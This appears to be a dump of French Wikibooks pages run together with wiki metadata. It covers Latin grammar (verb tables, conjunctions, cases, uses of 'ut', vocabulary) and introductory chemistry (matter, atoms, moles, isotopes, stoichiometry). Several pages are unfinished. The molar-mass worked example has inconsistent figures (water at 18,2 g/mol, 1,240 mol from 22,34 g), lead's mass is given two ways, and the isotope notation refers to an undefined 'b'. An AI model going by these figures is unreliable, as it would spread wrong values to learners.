<tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>fer<b>t</b><td>fer<b>ebat</b><td>fer<b>et</b> <td>tul<b>it</b><td>tul<b>erat</b><td>tul<b>erit</b> <td>fer<b>at</b><td>fer<b>ret</b> <td>tul<b>erit</b><td>tul<b>isset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>fer<b>imus</b><td>fer<b>ebamus</b><td>fer<b>emus</b> <td>tul<b>imus</b><td>tul<b>eramus</b><td>tul<b>erimus</b> <td>fer<b>amus</b><td>fer<b>remus</b> <td>tul<b>erimus</b><td>tul<b>issemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>fer<b>tis</b><td>fer<b>ebatis</b><td>fer<b>etis</b> <td>tul<b>istis</b><td>tul<b>eratis</b><td>tul<b>eritis</b> <td>fer<b>atis</b><td>fer<b>retis</b> <td>tul<b>eritis</b><td>tul<b>issetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>fer<b>unt</b><td>fer<b>ebant</b><td>fer<b>ent</b> <td>tul<b>erunt</b><td>tul<b>erant</b><td>tul<b>erint</b> <td>fer<b>ant</b><td>fer<b>rent</b> <td>tul<b>erint</b><td>tul<b>issent</b> <tr><th><th colspan=2>Impératif<th colspan=3>Infinitif<th colspan=2>Participe<th rowspan=2><th rowspan=2>Gérondif<th rowspan=2>Supin <tr><th><th>Présent<th>Futur<th>Présent<th>Parfait<th>Futur<th>Présent<th>Futur <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>fer<b></b><td>fer<b>to</b><td rowspan=4>fer<b>re</b><td rowspan=4>tul<b>isse</b><td rowspan=4>lat<b>urus esse</b><td rowspan=4>fer<b>ens</b><td rowspan=4>lat<b>urus</b><th>Accusatif<td>fer<b>endum</b><td>lat<b>um</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg.<td><td>fer<b>to</b><th>Génitif<td>fer<b>endi</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>fer<b>te</b><td>fer<b>tote</b><th>Datif<td>fer<b>endo</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl.<td><td>fer<b>unto</b><th>Ablatif<td>fer<b>endo</b><td>lat<b>u</b> <tr><th><th colspan=10>VOIX PASSIVE <tr><th><th colspan=6>Indicatif<th colspan=4>Subjonctif <tr><th><th>Présent<th>Imparfait<th>Futur<th>Parfait<th>Plus-que-Parfait<th>Futur antérieur <th>Présent<th>Imparfait<th>Parfait<th>Plus-que-parfait <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;sg. <td>fer<b>or</b><td>fer<b>ebar</b><td>fer<b>ar</b> <td>lat<b>us sum</b><td>lat<b>us eram</b><td>lat<b>us ero</b> <td>fer<b>ar</b><td>fer<b>rer</b> <td>lat<b>us sim</b><td>lat<b>us essem</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg. <td>fer<b>ris</b><td>fer<b>ebaris</b><td>fer<b>eris</b> <td>lat<b>us es</b><td>lat<b>us eras</b><td>lat<b>us eris</b> <td>fer<b>aris</b><td>fer<b>reris</b> <td>lat<b>us sis</b><td>lat<b>us esses</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;sg. <td>fer<b>tur</b><td>fer<b>ebatur</b><td>fer<b>etur</b> <td>lat<b>us est</b><td>lat<b>us erat</b><td>lat<b>us erit</b> <td>fer<b>atur</b><td>fer<b>retur</b> <td>lat<b>us sit</b><td>lat<b>us esset</b> <tr><th>1<sup>e</sup>&nbsp;p.&nbsp;pl. <td>fer<b>imur</b><td>fer<b>ebamur</b><td>fer<b>emur</b> <td>lat<b>i sumus</b><td>lat<b>i eramus</b><td>lat<b>i erimus</b> <td>fer<b>amur</b><td>fer<b>remur</b> <td>lat<b>i simus</b><td>lat<b>i essemus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl. <td>fer<b>imini</b><td>fer<b>ebamini</b><td>fer<b>emini</b> <td>lat<b>i estis</b><td>lat<b>i eratis</b><td>lat<b>i eritis</b> <td>fer<b>amini</b><td>fer<b>remini</b> <td>lat<b>i sitis</b><td>lat<b>i essetis</b> <tr><th>3<sup>e</sup>&nbsp;p.&nbsp;pl. <td>fer<b>untur</b><td>fer<b>ebantur</b><td>fer<b>entur</b> <td>lat<b>i sunt</b><td>lat<b>i erant</b><td>lat<b>i erunt</b> <td>fer<b>antur</b><td>fer<b>rentur</b> <td>lat<b>i sint</b><td>lat<b>i essent</b> <tr><th><th>Impératif<th colspan=3>Infinitif<th>Participe<th rowspan=2>Adjectif verbal <tr><th><th>Présent<th>Présent<th>Parfait<th>Futur<th>Parfait <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;sg.<td>fer<b>re</b><td rowspan=2>fer<b>ri</b><td rowspan=2>lat<b>us esse</b><td rowspan=2>lat<b>um iri</b><td rowspan=2>lat<b>us</b><td rowspan=2>fer<b>endus</b> <tr><th>2<sup>e</sup>&nbsp;p.&nbsp;pl.<td>fer<b>imini</b> </table> Remarques: * À la voix passive, la 2<sup>e</sup> personne du singulier peut prendre une désinence en ''-re'' au lieu de ''-ris'' : ''ferre, ferebare, ferere, ferare, ferrere'' * À la voix active, la 3<sup>e</sup> personne du pluriel de l'indicatif parfait peut prendre une désinence en ''-re'' au lieu de ''-runt'' : ''tulere'' Latin/Conjonctions 51 45940 2006-06-26T20:02:19Z Guillaumito 46 [[Conjonctions (latin)]] déplacé vers [[Latin/Conjonctions]]: politique de nommage == Conjonctions de coordination == Les ''conjonctions de coordinations'' unissent soit des mots de même nature et de même fonction soit deux propositions de même nature et de même fonction. === Conjonctions simples === *et : et, -que, atque ou ac. *et...ne...pas : neque ou nec. *ou, ou bien, soit : aut, vel, -ve, sive. === Conjonctions symétriques === *et... et... : et... et... *non seulement...mais encore... : non solum... sed etiam... *non seulement... mais surtout... : cum... tum... === Conjonctions logiques === *mais au contraire : at, parfois ast ; *mais : sed, verumn ; *mais, d'autre part, quant à : autem, vero ; *cependant, pourtant : tamen, attamen ; *car, en effet : nam, enim ; *et en effet : namque, etenim ; *donc : ergo, igitur ; *c'est pourquoi, aussi : itaque, quare, quamobrem. == Conjonctions de subordination == Les '''conjonctions de subordination''' servent à introduire les propositions subordonnées et à les unir à la proposition principale. Latin/Le rôle des cas 52 45942 2006-06-26T20:03:20Z Guillaumito 46 [[Le rôle des cas en latin]] déplacé vers [[Latin/Le rôle des cas]]: politique de nommage ==Nominatif== Le nominatif est le cas du sujet. * Rosa floruit * In vino veritas (la vérité est dans le vin) Il est aussi celui de l'attribut du sujet. * Errare humanum est (se tromper est humain). * Rosa pulchra est (la rose est belle). ==Vocatif== Le vocatif est le cas de la personne ou de la chose que l'on appelle. * Pulchra ancilla, ambula. (belle servante, promène-toi) * Veni, domine. (Viens, maître) ==Accusatif== L'accusatif sert le plus souvent au complément d'objet direct : ''grammaticam [acc. / COD] amo'', « J'aime la grammaire [COD] ». On l'utilise aussi, dans le cas des verbes à double-accusatif, pour ce qui, en français, serait un complément d'objet second (''doceo '''pueros''' [acc.] grammaticam [acc.]'', « J'enseigne la grammaire [COD] '''aux enfants''' [COS] ». D'autre part, il marque le sujet d'une proposition infinitive (''scio '''pueros''' [acc. / sujet] grammaticam [acc. / COD] amare'', « Je sais que '''les enfants''' [sujet] aiment la grammaire »). Enfin, c'est le cas des compléments circonstanciels d'extension dans le lieu (lieu où l'on va, distance, étendue) et le temps (durée). ==Génitif== Le génitif est le cas du complément de nom (quand il indique la possession, la filiation etc.) Le fils ''de l'empereur'' : imperatoris filius ==Datif== C'est le cas des compléments d'objet indirects et seconds. Il correspond à un complément "d'attribution". Je fais cela ''pour toi'': Id tibi conficio. Il donne un livre ''à l'enfant'': librum puero dat. ==Ablatif== L'ablatif est un cas servant principalement aux compléments circonstanciels. On relève trois fonctions anciennes qu'il représente de manière syncrétique : * fonction ablative proprement dit (c'est-à-dire d'éloignement) : lieu d'où l'on vient, lieu ou chose dont on se sépare, complément d'agent (celui d'où provient l'action) ; * fonction instrumentale (CC de moyen, de manière, de cause, etc.) ; * le locatif (lieu ou moment ponctuel où l'on situe quelque chose ; il s'oppose en cela à l'accusatif, qui marque l'extension dans le temps et l'espace). Dans l'ablatif absolu, le sujet et ses attributs éventuels sont à l'ablatif. <table align="center" id="toc"> <tr style="background:#ccccff" align="center"> <td> '''[[Syntaxe latine]]''' <tr align="center"> <td> [[Le rôle des cas en latin|Les cas]] | [[Le verbe latin dans la proposition principale|La proposition principale]] | [[Les modes impersonnels en latin|Les modes impersonnels]] | [[Les subordonnées en latin|Les subordonnées]] | [[Tableau des emplois de ut|Ut]] | [[Petite syntaxe latine à l'usage de la version|Petite syntaxe]] </table> C'est le cas des compléments circonstanciels Les modes impersonnels en latin 53 11858 2004-12-12T19:32:38Z 83.154.4.9 /* La proposition infinitive */ == Le participe == == Le supin == Le supin s'emploie parfois à la place de l'infinitif. ===Le supin en -tum=== Le supin en -tum s'emploie '''avec les verbes de mouvement''', comme accusatif répondant à la question : '''quo ?''' *Eo lusum : je vais jouer *Eo doctum : je viens apprendre *Ire dormitum : aller dormir *Itis risum : vous venez pour rire ===Le supin en -tu=== Ce supin est employé comme un '''ablatif de point de vue''', avec les adjectifs signifiant beau, bon, digne, facile, etc. *Res jucunda auditu : chose agréable à entendre *Res facilis dictu : chose facile à dire *Optimum factu *Dignum momeratu *Fas/nefas dictu *Dictu/scitu opus *Difficile dictu est quantopere conciliet animos hominum comitas == Le gérondif == Le '''gérondif''' remplace l'infinitif dans les fonctions autres que celles de sujet et de complément d'objet. Il se décline comme un nom neutre de la deuxième déclinaison, mais il n'a pas de nominatif, et son accusatif, n'étant jamais complément d'objet, est toujours introduit par une préposition. Le gérondif s'emploie comme complément de nom (génitif), complément d'adjectif (génitif, datif, accusatif) et complément de verbe (datif, ablatif, accusatif). == La proposition infinitive == <table align="center" id="toc"> <tr style="background:#ccccff" align="center"> <td> '''[[Syntaxe latine]]''' <tr align="center"> <td> [[Le rôle des cas en latin|Les cas]] | [[Le verbe latin dans la proposition principale|La proposition principale]] | [[Les modes impersonnels en latin|Les modes impersonnels]] | [[Les subordonnées en latin|Les subordonnées]] | [[Tableau des emplois de ut|Ut]] | [[Petite syntaxe latine à l'usage de la version|Petite syntaxe]] </table> Latin/Tableau des emplois de ut 54 45946 2006-06-26T20:03:46Z Guillaumito 46 [[Tableau des emplois de ut]] déplacé vers [[Latin/Tableau des emplois de ut]]: politique de nommage '''Ut''' peut être : == Adverbe == *'''Ut''', comment ? Ut vales? *'''Ut''', comme, combien Ut ille erat demissus ! == Conjonction de subordination == '''Ut''' introduit : #une proposition complétive servant de sujet : Fieri potest ut errem #une proposition complétive servant de complément : Suadeo tibi ut legas #une proposition circonstancielle finale #une proposition circonstancielle consécutive #une proposition circonstancielle causale #une proposition circonstancielle concessive #une proposition circonstancielle temporelle #une proposition circonstancielle comparative simple #une proposition circonstancielle comparative conditionnelle <table align="center" id="toc"> <tr style="background:#ccccff" align="center"> <td> '''[[Syntaxe latine]]''' <tr align="center"> <td> [[Le rôle des cas en latin|Les cas]] | [[Le verbe latin dans la proposition principale|La proposition principale]] | [[Les modes impersonnels en latin|Les modes impersonnels]] | [[Les subordonnées en latin|Les subordonnées]] | [[Tableau des emplois de ut|Ut]] | [[Petite syntaxe latine à l'usage de la version|Petite syntaxe]] </table> Latin/Petite syntaxe à l'usage de la version 55 45948 2006-06-26T20:04:23Z Guillaumito 46 [[Petite syntaxe latine à l'usage de la version]] déplacé vers [[Latin/Petite syntaxe à l'usage de la version]]: politique de nommage ==Syntaxe des cas== #Le '''nominatif''' marque le sujet et l'attribut : '''pater est bonus''' #Le '''vocatif''' marque la personne ou la chose à laquelle on s'adresse : '''O bone pater !''' #L''''accusatif''' marque le complément d'objet : '''Amo patrem''' #...et l'attribut d'un complément d'objet : '''Creaverunt Ciceronem consulem''' #Avec un adjectif, il marque les dimensions : '''Murus decem pedes altus''' #...l'âge : '''Viginti annos natus''' #Avec un verbe, le mouvement vers une ville (sans préposition) : '''Eo Romam''' #...la distance : '''abest viginti passus''' #...la durée : '''Tres annos regnavit''' #...depuis combien de temps un état dure : '''Multos annos regnat''' #Deux accusatifs sont à la foid compléments avec quelques verbes : '''Doceo pueros grammaticam.''' '''Hoc te moneo''' #L'accusatif est le cas du sujet et de l'attribut dans la proposition infinitive : '''Credo patrem esse bonum''' #Le '''génitif''' marque le complément de nom : '''Liber patris''' #Quand ce nom exprime un sentiment, le génitif désigne, soit celui qui l'éprouve, soit celui pour qui on l'éprouve : '''Metus hostium''' #Avec un pronom ou un adverbe, la quantité : Quod auri fuit ; hoc auri ; nimis auri #la ville où l'on est, dans les deux premières déclinaisons au singulier : '''Habitat Romae, Lugduni''' [il s'agit en fait d'un ancien locatif] #Avec certains adjectifs, il se rend par ''à'' ou ''dans'' : '''similis patris''' ; '''peritus belli''' #Avec accuser, condamner, absoudre, il marque la faute : Damnare aliquem proditionis #Avec sum, la propriété, et se rend par ''à'' : '''Haec domus est patris mei'''. #Le '''datif''' marque le complément indirect (à) :''' Do vestem pauperi''' #ou l'intérêt, et se traduit par ''pour'' : '''Homo non sibi soli vivit''' #Avec sum, il marque la possession, et se rend par ''avoir'' : '''Est patri meo domus''' #Deux datifs sont à la fois compléments avec sum : '''Hoc est mihi gaudio''' ==Syntaxe des voix, des modes et des temps== ==Syntaxes des prépositions et des conjonctions== ==Divers== <table align="center" id="toc"> <tr style="background:#ccccff" align="center"> <td> '''[[Syntaxe latine]]''' <tr align="center"> <td> [[Le rôle des cas en latin|Les cas]] | [[Le verbe latin dans la proposition principale|La proposition principale]] | [[Les modes impersonnels en latin|Les modes impersonnels]] | [[Les subordonnées en latin|Les subordonnées]] | [[Tableau des emplois de ut|Ut]] | [[Petite syntaxe latine à l'usage de la version|Petite syntaxe]] </table> Latin/Vocabulaire/Les 400 mots les plus fréquents 57 45962 2006-06-26T20:09:10Z Guillaumito 46 [[Les 400 mots latins les plus fréquents]] déplacé vers [[Latin/Vocabulaire/Les 400 mots les plus fréquents]]: politique de nommage Ce vocabulaire permet de comprendre en moyenne 80 pour cent des mots d'un texte. == A == *a, ab, abs : en s'éloignant de, en partant de , depuis, de *absum, abes, abesse, afui : être éloigner, être absent *[[Conjonctions (latin)|ac, atque]] : et *accipio, -is, -ere, accepi, acceptum : recevoir, accueillir *acies, -ei : pointe, tranchant, regard, ligne de bataille *ad : vers, à, près de, jusqu'à, pour, suivant *addo, -ere, -didi, -ditum : placer auprès, appliquer, mettre en plus, ajouter *adsum, ades, adesse, adfui: être présent *aetas, -atis: l'âge *ager, agri: le champ *agmen, -inis *ago, -ere, egi, actum: agir, faire *alienus, -a, -um *[[Les indéfinis latins|aliquis, -qua, -quid]] *alius, -a, -um *alter, -tera, -terum *altus, -a, -um: haut *amicitia, -ae *amicus, -i: l'ami *amo, -as, -are, amavi, amatum *amor, -oris: l'amour *an *animus, -i *annus, -i: l'année *ante *apud: chez *aqua, -ae :l'eau *arma, -orum *ars, artis *[[Conjonctions (latin)|at]] *audeo, -es, -ere, ausus sum: oser *audio, -is, -ire, -iui, -itum: entendre *[[Conjonctions (latin)|aut]] *[[Conjonctions (latin)|autem]] == B == *Bellum, -i: la guerre *Bene: bien *Beneficium, -ii *Bonum, -i: le bien *Bonus, -a, -um: bon == C == *Cado, is, ere, cecidi, casum *Caelum, i *Capio, is, ere, cepi, captum *Carmen, inis *Castra, orum *Causa, ae *Cedo, is, ere, cessi, cessum *Certus, a, um *Ceterus, a, um *Civilis, is, e *Civis, is *Civitas, atis *Clades, is *Clamor, oris *Clarus, a , um *Classis, is *Claudo, ere, si, sum *Clementia, ae *Coeo, ire, coii, coitum *Coepi, isse, coeptus *Cogitatio, onis *Cogito, are *Cognosco, ere, gnoui, gnitum *Cogo, ere, coegi, coactum *Cohors, tis *Colligo, ere, legi, lectum *Collis, is *Colloco, are *Collum, i *Colo, ere, colui, cultum *Color, oris *Columna, ae *Coma, ae *Comes, itis *Commeatus, us *Commito, ere, misi, missum *Commoveo, ere, moui, motum *Communis, is, e *Comparo, are *Comperio, ire, peri, pertum *Complector, i, plexus sum Latin/Vocabulaire/Les indéfinis 58 46010 2006-06-27T09:20:33Z Guillaumito 46 [[Les indéfinis latins]] déplacé vers [[Latin/Vocabulaire/Les indéfinis]]: politique de nommage == Indéfinis négatifs == == Indéfinis signifiant quelqu'un, quelque == *quis, quae, quod *aliquis, aliqua, aliquid *quidam, quaedam, quiddam *aliquot Chimie 65 11869 2005-06-11T12:45:21Z 222.15.201.153 == Le Rayon de Chimie == *[[Chimie générale]] *[[Chimie physique|Chimie physique]] *[[Chimie inorganique]] *[[Chimie organique]] *[[Chimie analytique]] *[[Biochimie|Chimie biologique (Biochimie)]] [[de:Chemie]] [[en:Chemistry bookshelf]] [[ja:化学]] [[vi:Category:Hoá học]] [[zh:化学]] Chimie générale 66 26019 2005-11-24T17:48:19Z Marc 66 == Table des matières == [[Catégorie:Chimie]] [[Introduction(Chimie Générale)|Introduction]] #[[Notions de base (Chimie générale)|Notions de base]] #[[Réactions chimiques (Chimie générale)|Réactions chimiques]] #[[Structure atomique (Chimie générale)|Structure atomique]][[Image:Red.png]] #[[Composés et liaisons (Chimie générale)|Composés et liaisons]][[Image:Red.png]] #[[Equilibres chimiques (Chimie générale)|Equilibres chimiques]][[Image:Red.png]] #[[Acides et bases (Chimie générale)|Acides et bases]][[Image:Red.png]] #[[Réactions oxydant-réducteur (Chimie générale)|Réactions oxydant-réducteur]][[Image:Red.png]] *[[Chimie inorganique]] *[[Chimie analytique]] [[en:General Chemistry]] Notions de base (Chimie générale) 67 36098 2006-03-05T17:01:33Z 81.249.21.112 /* Propriétés de la matière */ {{Chimiegénérale}} == Propriétés de la matière == Les principales propriétés utilisées pour caractériser la matière sont la [[w:Masse|masse]], [[w:la mole|mole]], le [[w:Poids|poids]], le [[w:Volume|volume]], la [[w:masse volumique|masse volumique]], la densité. Le [[w:Tableau périodique|tableau périodique]] est une méthode visuelle d´interprétation des propriétés chimiques des éléments qui influencent les grandeurs ci-dessous : *[[w:Masse|Masse]] - grandeur fondamentale liée à la quantité de matière que contient un corps **Unité habituelle : [[w:Gramme|gramme]] (g) et [[w:Kilogramme|kilogramme]] (kg) **Norme internationnale : [[w:Kilogramme|kilogramme]] (kg) *[[w:mole (unité)|la mole]] - quantité de matière (détaillé plus loin) *[[w:Poids|Poids]] - mesure de l'effet du champ de gravité sur la masse d'un objet. **Unités habituelles : [[w:Newton(unité)|newton]] (N) ou [[w:kilogramme-force|kilogramme-force]] (kgf) ou [[w:Livre (unité de poids)|livre]] (lb) **Norme internationnale : [[w:Newton(unité)|newton]] (N) **Équations principales : P = m.g (Poids = Masse * [[w:Pesanteur|intensité de pesanteur]] N = 1kg m/s<sup>2</sup> (Newton = kilogrammes * mètres par seconde au carré)<br>Obs: L'intensité de pesanteur près de la surface du sol à Paris est de environ 9,8 mètres par seconde au carré ou 9,8 m/s<sup>2</sup>. Elle varie en fonction de la localisation sur Terre, de l'altitude et de la planète. *Volume - quantité d'espace que l'objet occupe. **Unité habituelle : le litre (L). **Norme internationnale : le mètre cube (m³) * [[w:masse volumique|masse volumique]] - la masse d'une unité de volume **Unité habituelle : g/cm<sup>3</sup> **Norme internationnale : kg.m<sup>-3</sup> **Formule : ''ρ'' = m / V (''ρ'' correspond à la lettre grec Rhô) La masse volumique de l'eau est proche de 1000 kg.m<sup>-3</sup> à 0°, sous une pression de 1,013 bar. La masse volumique d'un corps dépend donc de la température et de la pression. *[[w:Densité|Densité]] - rapport de la masse volumique ''ρ'' d'une subtance liquide ou solide à la masse volumique de l'eau ''ρ''<sub>eau</sub>. Ces masses volumiques doivent être mesurées à la même température ''T'' et sous la même pression p. **Formule : ''d'' = ''ρ'' / ''ρ''<sub>eau</sub> Pour les gaz, on définit la densité par rapport à l'air ; pour un gaz de masse molaire ''M'' : ''M'' = 29.''d''. Ces grandeurs peuvent être divisées en deux catégories, intensive et extensive. Une propriété intensive ne dépend pas de la quantité de matière. Par exemple, la masse volumique de l´[[w:Or|or]] est la même quelle que soit la quantité d´or qui servit pour la mesure. Une propriété extensive, comme le volume et la masse, dépend directement de la quantité de matériel qui est mesurée. Note : Nous avons adapté les définitions de densité et de masse volumique aux usages en langue française. --- ==Atomes== De tous temps, les penseurs se sont penchés sur la nature de la matière. La matière est-elle continue ? Peut-elle être divisée sans limite ? Vers 500 av. JC, le philosophe grec Démocrite, estimait déjà que, à partir d´un certain moment, il n´est plus possible de diviser la matière et la dernière particule fut appelée atome. Vingt siècles plus tard, cette conclusion fut confirmée. Il est vrai que la dernière partie insécable n´est pas l´atome mais ses composants : l´électron, le proton et le neutron. Supposons que nous ayons en mains un instrument hypothétique qui pourrait voir les atomes, nous observerions des particules semblables à des petites boules entourées d´un nuage indéfini. Ces petites sphères de grandeur différente et parfois unies entre elles auraient une taille de 1 mm avec notre instrument si le même agrandissement nous donnait, à nous, une taille d'une fois et demie le diamètre de la terre. La représentation des atomes et spécialement des électrons peut être fait au moyen de différents modèles qui sont tous exacts en partie mais aucun, à lui seul, ne décrit entièrement le comportement de la matière. *Représentation particule : l´atome est considéré comme une charge positive entourée d´électrons qui tournent comme les planètes autour du soleil. *Représentation onde : l´atome est considéré comme un noyau cerclé d´un nuage de charges d´électricité négative distribuées selon des lois associées à des vibrations dans l´espace. Ces représentations sont des portraits de la nature dont les parties fausses sont connues. ===Éléments chimiques=== Les atomes ne sont pas tous les mêmes en taille et en charges électriques. Chaque espèce peut être différenciée par des réactions chimiques ; ce sont les éléments chimiques. Il en existe environ 100 dont 90 éléments naturels et une dizaine produite en laboratoire. Chacun a reçu un nom et un symbole. Le plus petit des éléments chimiques est l´hydrogène de symbole H, le plus lourd (des éléments naturels) est l´uranium de symbole U. ===L´électron=== L´électron qui fait partie de l´hydrogène est le même que celui qui appartient à l´uranium. Ces électrons sont à l´origine de l´électricité. Il est très petit (entre 10<sup>-11</sup> et 10<sup>-12</sup> cm). Dans le cas des métaux, il « saute » d´un atome à l´autre pour donner un courant électrique. La charge négative des électrons est compensée par la charge positive du reste de l´atome appelé noyau. Comme deux charges opposées s´attirent, on pourrait penser que l´électron rapidement va « tomber » sur le noyau. On peut expliquer qu´il n'en est rien à cause de l´équilibre entre la force centrifuge due au mouvement de l´électron d´une part et la force d´attraction électrique d´autre part. En réalité, c´est la mécanique quantique qui répond à la question. L´électron a une charge qui est égale à 1,6 10<sup>-19</sup> coulomb et sa masse est de 9,108 10<sup>-28</sup> g. C´est l´électron qui est le facteur de cohésion des molécules. ===Le proton et le neutron=== Le noyau d´hydrogène est constitué d´une seule particule de charge positive appelée le proton. On n´a jamais trouvé d´atome avec une charge non entière (par exemple deux charges et demie positives). L´élément suivant est l´hélium, qui possède deux électrons à l´état neutre. Cependant sa masse est quatre fois la masse de l´hydrogène (et donc du proton). On en conclut qu´il existe une autre particule élémentaire, le neutron sans charge et de masse (quasi) égale à la masse du proton. Ce neutron ne fut découvert que dans les années trente. ==Mole== Une mole d´électrons, d´atomes, de molécules ou de n´importe quelle particule est une quantité de particules. Elle correspond 6,023 x10<sup>23</sup>particules (ce nombre est le nombre d´Avogadro définie comme suis: "c'est la quantité d'atomes contenue dans 12 grammes de Carbone 12) . Dans cette échelle, la masse d´une mole de protons est de 1 g. ==Isotopes et masse molaire== L´atome est donc constitué d´électrons, de protons et de neutrons. Une étude plus poussée montre que, en réalité, le monde des particules élémentaires est bien plus complexe : on a aussi, par exemple, les photons, leptons, mésons... Ce travail n´en tiendra pas compte. La masse totale de l´élément est égale à la somme des masses des neutrons et des protons ; la masse des électrons étant négligeable. Les propriétés chimiques des éléments sont déterminées par les électrons donc par les protons, les neutrons n´influençant pas ces propriétés. Si un élément présente deux ou plusieurs versions avec le même nombre de protons mais avec des nombres de neutrons différents, on dit qu´il s´agit d´isotopes. Ces isotopes peuvent être naturels ou artificiels (par réactions nucléaires). Un élément naturel est un mélange d´isotopes (des nuclides). C´est pour cela que la masse molaire des éléments, en général, n´est pas un nombre entier. Lorsqu´il y a deux ou plusieurs atomes avec le même nombre de protons mais avec des nombres de neutrons différents, on dit qu´il s´agit d´isotopes. Ces isotopes peuvent être naturels ou artificiels (par réactions nucléaires). Notation : '''<center><sub>z</sub><sup>a</sup>E</center>''' où *E : le nom de l´élément, *z : nombre de protons, c´est le numéro d´ordre dans le tableau périodique ( numéro atomique ) *a : la somme des protons et des neutrons, (nombre de masse) Notons que E et a sont liées et sont la représentation de la même caractéristique : le nom d´un élément indique le nombre de protons dont d´électrons. Le nombre de neutrons est obtenu par la différence b - a Exemples * L´isotope le plus abondant du lithium est le <sub>3</sub><sup>7</sup>Li, mais il existe aussi (dans la nature) le <sub>3</sub><sup>6</sup>Li. L´un a quatre neutrons, l´autre en a trois. L´abondance relative, dans la nature, du <sub>3</sub><sup>7</sup>Li est de 92,6 % et celle du <sub>3</sub><sup>6</sup>Li est de 7,4 %. Ce qui donne une masse atomique du lithium naturel de 0,926 x 7 + 0,074 x 6 = 6,94 uma (unités de masse atomique) * Le chlore possède deux isotopes naturels et stables <sub>17</sub><sup>35</sup>Cl (75,77 %) et <sub>17</sub><sup>37</sup>Cl (24,23 %). Ce qui donne une masse atomique de 35 x 0,7577 + 37 x 0,2423 = 35,487 uma. == Stoechiométrie == Le mot [[w:Stoechiométrie|stoechiométrie]] vient de deux mots grecs : ''stoicheion'' (signifiant « élément ») et ''metron'' (signifiant « mesure »). La stroechiométrie traite des calculs sur les masses (et parfois les volumes) des réactifs et des produits impliqués dans les réactions chimiques. C´est la vraie partie mathématique de la chimie qui est traitée par beaucoup de calculateurs. [[w:Jeremias Benjaim Richter|Jeremias Benjaim Richter]] (1762-1807) fut le premier à énoncer les principes de la stoechiométrie. En 1792, il écrivit : ''"Die stöchyometrie (Stöchyometria) ist die Wissenschaft die quantitativen oder Massenverhältnisse zu messen, in welchen die chymischen Elemente gegen einander stehen."'' [Stoechiométrie est la science qui mesure les proportions quantitatives ou rapports de masse dans lesquels les éléments chimiques sont impliqués.] Que pèse 1 mole de plomb ? Combien de moles y a-t-il dans 36 g d´eau ? === De Moles en Masse === Calculer la masse d´un échantillon à partir du nombre de moles qu´il contient est très simple. Nous utilisons la masse molaire (masse d´une mole) de la substance pour passer du nombre de moles à la masse. Quand nous écrivons les calculs, nous notons la masse molaire de la substance par un M majuscule (par exemple : "M(Ne)" signifie la masse molaire du [[w:Néon|néon]]). Comme toujours, "n" représente le nombre de moles et "m" indique la masse de la substance. <TABLE BORDER="0" WIDTH="234"> <TR> <TD WIDTH="68">n(Pb)</TD> <TD WIDTH="152">=&quot;1,500&quot; moles</TD> </TR> <TR> <TD WIDTH="68">M(Pb)</TD> <TD WIDTH="152">=207,2 g mole<SUP>-1</SUP></TD> </TR> <TR> <TD WIDTH="68">m(Pb)</TD> <TD WIDTH="152">= n(Pb) x M(Pb)</TD> </TR> <TR> <TD WIDTH="68"></TD> <TD WIDTH="152">=310,8 g</TD> </TR> </TABLE> Nous pouvons voir, par l´[[w:Analyse dimensionnelle|analyse dimensionnelle]], que si nous multiplions “moles” par “gramme par mole”, les “ moles” sont éliminées et il reste la masse en grammes : 1,5 mole de [[w:Plomb|plomb]] pèse 310,8 g. === De la Masse à la Mole === Calculer dans l´autre direction, c´est très simple aussi. Pour calculer le nombre de moles dans une masse donnée, au lieu de multiplier par la masse molaire, nous divisons par celle-ci. Par exemple, nous pouvons calculer le nombre de moles dans 22,34 g d´eau. <TABLE BORDER="0" WIDTH="270"> <TR> <TD WIDTH="68"> m(H<sub>2</sub>O) </TD> <TD WIDTH="200">&nbsp;= 22,34 g</TD> </TR> <TR> <TD WIDTH="68">M(H<sub>2</sub>O)</TD> <TD WIDTH="200">= =18,2 g mol<sup>-1</sup>;</TD> </TR> <TR> <TD WIDTH="68">n(H<sub>2</sub>O)</TD> <TD WIDTH="200">&nbsp;= m(H<sub>2</sub>O)/M(H<sub>2</sub>O)</TD> </TR> <TR> <TD WIDTH="68"></TD> <TD WIDTH="200">&nbsp;= 1,240 moles</TD> </TR> </TABLE> === Calculant les Masses Molaires === Avant de pouvoir faire ce type de calculs, nous devons connaître la [[w:Masse molaire|masse molaire]]. Heureusement, ce n´est pas difficile, vu que les masses molaires sont exactement les mêmes que les masses atomiques des atomes qui constituent la molécule. La table de masses atomiques peut être utilisée pour trouver la masse molaire des éléments (cette information est souvent contenue dans la table périodique). Par exemple, la masse atomique du plomb est de 207,02 uma (unités de masse atomique), ainsi la masse moléculaire du plomb est de 207,02 g mol<sup>-1</sup>. Pour les espèces qui ont plus d´un élément, nous additionnons simplement les masses atomiques pour obtenir la masse molaire du composé. Par exemple, le [[w:Trioxyde de soufre|trioxyde de soufre]] est constitué de [[w:Soufre|soufre]] et d´[[w:Oxygène|oxygène]], dont les masses atomiques sont 32,06 et 16,00 g mol<sup>-1</sup>. M(SO<sub>3</sub>) = 32,06 + 3 x 16,00 = 80,06 g mol<sup>-1</sup> La procédure pour les molécules plus complexes est la même. Le [[w:Carbonate d´aluminium|carbonate d´aluminium]], par exemple, contient de l´[[w:Aluminium|aluminium]], du [[w:Carbone|carbone]] et de l´[[w:Oxygène|oxygène]]. Pour trouver la masse molaire, nous devons être certains de trouver le nombre total d´atomes de chaque élément. Les trois ions carbonates contiennent chacun trois atomes d´oxygène donnant neuf oxygènes au total. Les masses atomiques de l´aluminium et du carbone sont respectivement de 26,98 et 12,01 g mol<sup>-1</sup>. <Br> M(Al<sub>2</sub>(CO<sub>3</sub>)<sub>3</sub>)= 2 x 26,98 + 3 x 12,01 + 9 x 16,00 = 233,99 g mol<sup>-1</sup> === Formules empiriques === La 